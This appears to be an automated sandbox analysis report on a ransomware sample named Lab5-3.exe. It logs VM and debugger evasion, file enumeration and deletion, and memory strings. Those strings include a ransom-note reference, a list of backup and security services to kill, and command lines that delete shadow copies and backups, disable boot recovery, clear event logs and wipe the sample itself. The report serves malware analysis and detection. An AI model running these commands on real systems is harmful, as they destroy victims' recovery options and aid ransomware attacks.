Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\Lab5-3.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_19-4426

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\Lab5-3.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_19-4280

Source: C:\Windows\System32\vds.exe

File opened / queried: scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\Lab5-3.exe

19_2_00416710

Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: Sleep,malloc,malloc,GetAdaptersInfo,GetAdaptersInfo,free,malloc,GetAdaptersInfo,lstrcmpiA,PathRemoveExtensionA,wsprintfA,lstrcmpiA,malloc,malloc,RtlInterlockedPushEntrySList,free,		19_2_0041A130
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: NetApiBufferFree,malloc,malloc,GetAdaptersInfo,GetAdaptersInfo,free,malloc,GetAdaptersInfo,lstrcmpiA,PathRemoveExtensionA,wsprintfA,lstrcmpiA,malloc,malloc,RtlInterlockedPushEntrySList,free,		27_2_0041A130

Source: C:\Users\user\Desktop\Lab5-3.exe	Window / User API: threadDelayed 1741	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Window / User API: threadDelayed 4663	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Window / User API: threadDelayed 2654
Source: C:\Users\user\Desktop\Lab5-3.exe	Window / User API: threadDelayed 2685
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 363
Source: C:\Users\user\Desktop\Lab5-3.exe	Window / User API: threadDelayed 3455
Source: C:\Users\user\Desktop\Lab5-3.exe	Window / User API: threadDelayed 2691

Source: C:\Users\user\Desktop\Lab5-3.exe

Evaded block: after key decision

graph_19-4295

Source: C:\Users\user\Desktop\Lab5-3.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_19-4409

Source: C:\Users\user\Desktop\Lab5-3.exe

Evasive API call chain: RegQueryValue,DecisionNodes,Sleep

graph_19-4738

Source: C:\Users\user\Desktop\Lab5-3.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_19-4310

Source: C:\Users\user\Desktop\Lab5-3.exe

API coverage: 8.0 %

Source: C:\Users\user\Desktop\Lab5-3.exe TID: 7480	Thread sleep time: -466300s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe TID: 7200	Thread sleep count: 330 > 30
Source: C:\Users\user\Desktop\Lab5-3.exe TID: 7200	Thread sleep count: 233 > 30
Source: C:\Users\user\Desktop\Lab5-3.exe TID: 9648	Thread sleep count: 334 > 30
Source: C:\Users\user\Desktop\Lab5-3.exe TID: 9648	Thread sleep time: -33400s >= -30000s
Source: C:\Users\user\Desktop\Lab5-3.exe TID: 9980	Thread sleep count: 2654 > 30
Source: C:\Users\user\Desktop\Lab5-3.exe TID: 9980	Thread sleep count: 49 > 30
Source: C:\Users\user\Desktop\Lab5-3.exe TID: 9648	Thread sleep count: 2685 > 30
Source: C:\Users\user\Desktop\Lab5-3.exe TID: 9648	Thread sleep time: -268500s >= -30000s
Source: C:\Users\user\Desktop\Lab5-3.exe TID: 11192	Thread sleep time: -345500s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Lab5-3.exe	Thread sleep count: Count: 1741 delay: -3	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread sleep count: Count: 2654 delay: -3
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread sleep count: Count: 2691 delay: -3

Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_0040F630 GetLocalTime followed by cmp: cmp ecx, 11h and CTI: jc 0040F6F0h		19_2_0040F630
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_0040F630 GetLocalTime followed by cmp: cmp ecx, 11h and CTI: jc 0040F6F0h		27_2_0040F630

Source: C:\Users\user\Desktop\Lab5-3.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\Lab5-3.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\Lab5-3.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\Lab5-3.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\Lab5-3.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\Lab5-3.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00410170 NetApiBufferFree,RtlEnterCriticalSection,lstrcmpiW,lstrcmpiW,wsprintfW,wsprintfW,FindFirstFileExW,RtlLeaveCriticalSection,ExitThread,FindClose,wsprintfW,CreateFileW,RtlLeaveCriticalSection,ExitThread,malloc,RtlLeaveCriticalSection,SHEmptyRecycleBinW,GetDiskFreeSpaceExW,SetThreadUILanguage,StrFormatByteSize64A,StrFormatByteSize64A,StrFormatByteSize64A,wsprintfA,CloseHandle,DeleteFileW,ExitThread,	19_2_00410170
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 19_2_00410530 GetFileAttributesW,SetFileAttributesW,wsprintfW,FindFirstFileExW,FindNextFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,wsprintfW,PathFindExtensionW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,PathAddBackslashW,SetFileAttributesW,FindNextFileW,FindNextFileW,FindClose,	19_2_00410530
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00410170 RtlEnterCriticalSection,lstrcmpiW,lstrcmpiW,wsprintfW,wsprintfW,FindFirstFileExW,RtlLeaveCriticalSection,ExitThread,RtlExitUserThread,FindClose,wsprintfW,CreateFileW,RtlLeaveCriticalSection,ExitThread,malloc,RtlLeaveCriticalSection,SHEmptyRecycleBinW,GetDiskFreeSpaceExW,SetThreadUILanguage,StrFormatByteSize64A,StrFormatByteSize64A,StrFormatByteSize64A,wsprintfA,CloseHandle,DeleteFileW,ExitThread,	27_2_00410170
Source: C:\Users\user\Desktop\Lab5-3.exe	Code function: 27_2_00410530 GetFileAttributesW,SetFileAttributesW,wsprintfW,FindFirstFileExW,FindNextFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,wsprintfW,PathFindExtensionW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,PathAddBackslashW,SetFileAttributesW,FindNextFileW,FindNextFileW,FindClose,	27_2_00410530

Source: C:\Users\user\Desktop\Lab5-3.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File opened: C:\Documents and Settings\user\Local Settings\	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	File opened: C:\Documents and Settings\user\Local Settings\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior

Source: vds.exe, 00000012.00000002.3758258503.00000291E22EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c18-806e6f6e6963}#0000000006500000#{7f108a28-9833-4b3b-b780-2c6b5fa5c062}\?\storage#volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000c5e500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\storage#volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Lab5-3.exe, 00000000.00000003.2478753304.0000000006B93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: vds.exe, 00000012.00000003.1765347820.00000291E2335000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: vds.exe, 00000012.00000003.1766332662.00000291E2335000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}D
Source: vds.exe, 00000012.00000003.1766736913.00000291E2337000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}A
Source: vds.exe, 00000012.00000002.3758258503.00000291E22EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: Lab5-3.exe	Binary or memory string: vmware-converter
Source: Lab5-3.exe, 00000000.00000003.2469097133.000000001B495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 10/04/2023 10:57:53.172EXCEL (0xD50)0x3DCMicrosoft ExcelTelemetry Eventb7vzqMediumSendEvent {"EventName":"Office.System.SystemHealthMetadataDeviceConsolidated","Flags":33777031581908737,"InternalSequenceNumber":104,"Time":"2023-10-04T10:57:52.477Z","Rule":"120600.4","Contract":"Office.Legacy.Metadata","Data.ProcTypeText":"x64","Data.ProcessorCount":2,"Data.NumProcShareSingleCore":1,"Data.NumProcShareSingleCache":1,"Data.NumProcPhysCores":2,"Data.ProcSpeedMHz":2000,"Data.IsLaptop":false,"Data.IsTablet":false,"Data.RamMB":4096,"Data.PowerPlatformRole":1,"Data.SysVolSizeMB":50000,"Data.DeviceManufacturer":"VMWare, Inc.","Data.DeviceModel":"VMware20,1","Data.DigitizerInfo":0,"Data.SusClientId":"097C77FB-5D5D-4868-860B-09F4E5B50A53","Data.WindowsSqmMachineId":"92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A","Data.ComputerSystemProductUuidHash":"rC2kkStHpWGLvfAgmQZRz4w5ixE=","Data.DeviceProcessorModel":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","Data.HasSpectreFix":true,"Data.BootDiskType":"SSD"}
Source: bcdedit.exe, 00000046.00000002.1965550650.0000025541E99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pEFI VMware Virtual SATA CDROM
Source: vds.exe, 00000012.00000003.1745629461.00000291E2323000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: vds.exe, 00000012.00000002.3758258503.00000291E22EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000A5
Source: Lab5-3.exe, 00000000.00000003.1903327152.000000000061C000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000003.2061452303.0000000000754000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: bcdedit.exe, 00000052.00000002.1981632096.000001B9E2318000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pEFI VMware Virtual SATA CDROM Drive (0.0)
Source: vds.exe, 00000012.00000002.3758258503.00000291E22EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000
Source: vds.exe, 00000012.00000003.1765453986.00000291E2335000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{7f108a28-9833-4b3b-b780-2c6b5fa5c062}\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: vds.exe, 00000012.00000003.1746117129.00000291E231A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: vds.exe, 00000012.00000003.1766797826.00000291E2335000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \Device\HarddiskVolume1\??\Volume{ad6cc5d8-f1a9-4873-be33-91b2f05e9306}\DosDevices\Y:\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: vds.exe, 00000012.00000002.3758258503.00000291E22EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}o
Source: Lab5-3.exe, 0000001B.00000003.2077175545.0000000000726000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp
Source: vds.exe, 00000012.00000003.1746117129.00000291E231A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}P
Source: Lab5-3.exe, 00000000.00000003.2478753304.0000000006B93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: vds.exe, 00000012.00000002.3758258503.00000291E22EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00
Source: vds.exe, 00000012.00000002.3758258503.00000291E22EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Lab5-3.exe	Binary or memory string: For more information see Restore-My-Files.txt that is located in every encrypted folder08:15:1008:15:10GenuineIntelAuthenticAMDGlobal\{02B49784-1CA2-436C-BC08-72FA3956507D}Global\{BEF590BE-11A6-442A-A85B-656C1081E04C}SeDebugPrivilegeDebug Privilege: OK08:15:10Local time: %d.%d %d:%dPC: %s08:15:12cmd.exeRemoved autorun key /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"SOFTWARE\Microsoft\Windows\CurrentVersion\RunXO1XADpO01"%s"Service %s stoppedwrapperDefWatchccEvtMgrccSetMgrSavRoamSqlservrsqlagentsqladhlpCulserverRTVscansqlbrowserSQLADHLPQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServicesqlwritermsmdsrvtomcat6zhudongfangyuvmware-usbarbitator64vmware-converterdbsrv12dbeng8MSSQL$MICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBrowserSQLWriterFishbowlMySQLMSSQL$MICROSOFT##WIDMySQL57MSSQL$KAV_CS_ADMIN_KITMSSQLServerADHelper100SQLAgent$KAV_CS_ADMIN_KITmsftesql-ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTQBFCServiceQBVSSYooBackupYooITvsssqlsvc$MSSQLMSSQL$memtasmepocssophosveeambackupbedbgPDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceMVArmorMVarmor64stc_raw_agentVSNAPVSSVeeamTransportSvcVeeamDeploymentServiceVeeamNFSSvcAcronisAgentARSMAcrSch2SvcCASAD2DWebSvcCAARCUpdateSvcWSBExchangeMSExchangeMSExchange$Service %s stoppedService %s stoppedService %s stoppedcmd.exerunas/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietwxServerwxServerViewsqlmangrRAguisuperviseCultureDefwatchwinwordQBW32QBDBMgrqbupdateaxlbridgehttpdfdlauncherMsDtSrvrjava360se360doctorwdswfsafefdhostGDscanZhuDongFangYuQBDBMgrNmysqldAutodeskDesktopAppacwebbrowserCreative CloudAdobe Desktop ServiceCoreSyncAdobe CEF HelpernodeAdobeIPCBrokersync-taskbarsync-workerInputPersonalizationAdobeCollabSyncBrCtrlCntrBrCcUxSysSimplyConnectionManagerSimply.SystemTrayIconfbguardfbserverONENOTEMwsa_servicekoaly-exp-engine-serviceTeamViewer_ServiceTeamViewertv_w32tv_x64TitanVSsmsnotepadRdrCEFsamoracleocssddbsnmpsynctimeagntsvcisqlplussvcxfssvcconmydesktopserviceocautoupdsencsvcfirefoxtbirdconfigmydesktopqosocommdbeng50sqbcoreserviceexcelinfopathmsaccessmspubonenoteoutlookpowerpntsteamthebatthunderbirdvisiowordpadbedbhvxmonbenetnsbengienpvlsvrbeserverraw_agent_svcvsnapvssCagServiceDellSystemDetectEnterpriseClientVeeamDeploymentSvcKilled process: %s [pid: %ld]Wow64DisableWow64FsRedirectionkernel32/c vssadmin Delete Shadows /All /Quiet/c bcdedit /set {default} recoveryenabled No/c bcdedit /set {default} bootstatuspolicy ignoreallfailures/c wbadmin DELETE SYSTEMSTATEBACKUP/c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest/c wmic SHADOWCOPY /nointeractive/c wevtutil c
Source: vds.exe, 00000012.00000002.3758258503.00000291E22EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: vds.exe, 00000012.00000003.1767028203.00000291E2334000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD000
Source: vds.exe, 00000012.00000003.1766846895.00000291E233E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: vds.exe, 00000012.00000002.3758258503.00000291E22EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: vds.exe, 00000012.00000002.3758258503.00000291E22EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: vds.exe, 00000012.00000003.1759483377.00000291E231A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: age#volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{7f108a28-9833-4b3b-b780-2c6b5fa5c062}\?\storage#volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000c5e500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\storage#volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Lab5-3.exe	Binary or memory string: vmware-usbarbitator64

Source: C:\Users\user\Desktop\Lab5-3.exe	API call chain: ExitProcess graph end node	graph_19-4296
Source: C:\Users\user\Desktop\Lab5-3.exe	API call chain: ExitProcess graph end node	graph_19-4374
Source: C:\Users\user\Desktop\Lab5-3.exe	API call chain: ExitProcess graph end node	graph_19-4359
Source: C:\Users\user\Desktop\Lab5-3.exe	API call chain: ExitProcess graph end node	graph_19-4282
Source: C:\Users\user\Desktop\Lab5-3.exe	API call chain: ExitProcess graph end node	graph_27-4299

Source: C:\Users\user\Desktop\Lab5-3.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\Lab5-3.exe	Thread information set: HideFromDebugger	Jump to behavior
